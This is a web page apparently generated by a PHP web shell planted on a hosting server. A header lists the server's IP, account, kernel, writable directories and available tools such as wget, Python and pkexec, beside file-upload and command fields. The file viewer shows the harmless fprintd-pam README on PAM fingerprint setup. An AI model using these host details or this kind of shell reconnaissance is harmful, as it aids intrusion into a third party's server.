- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.145.78.203
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/fprintd-pam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/fprintd-pam/README
PAM module for fingerprint authentication
-----------------------------------------

Using:
* Modify the appropriate PAM configuration file
(/etc/pam.d/system-auth-ac on Fedora systems), and add the line:
auth        sufficient    pam_fprintd.so
before the line:
auth        sufficient    pam_unix.so ...
* You can now enroll fingerprints using fprintd-enroll. The first available
  fingerprint available will be used to log you in.

Options:
* You can add the "debug" option on the pam configuration file line above,
  this will log more information from PAM to the file specified in your
  syslog configuration (/var/log/secure by default on Fedora)

Known issues:
* pam_fprintd does not support identifying the user itself as
  that would mean having the fingerprint reader on for all the time
  the user selection is displayed, and could damage the hardware.
  It could be fixed by having gdm/login only start the PAM conversation
  when there is activity
* pam_fprintd doesn't support entering either the password or a fingerprint,
  as pam_thinkfinger does, because it's a gross hack, and could be fixed
  by having the login managers run 2 separate PAM stacks

Youez - 2016 - github.com/yon3zu
LinuXploit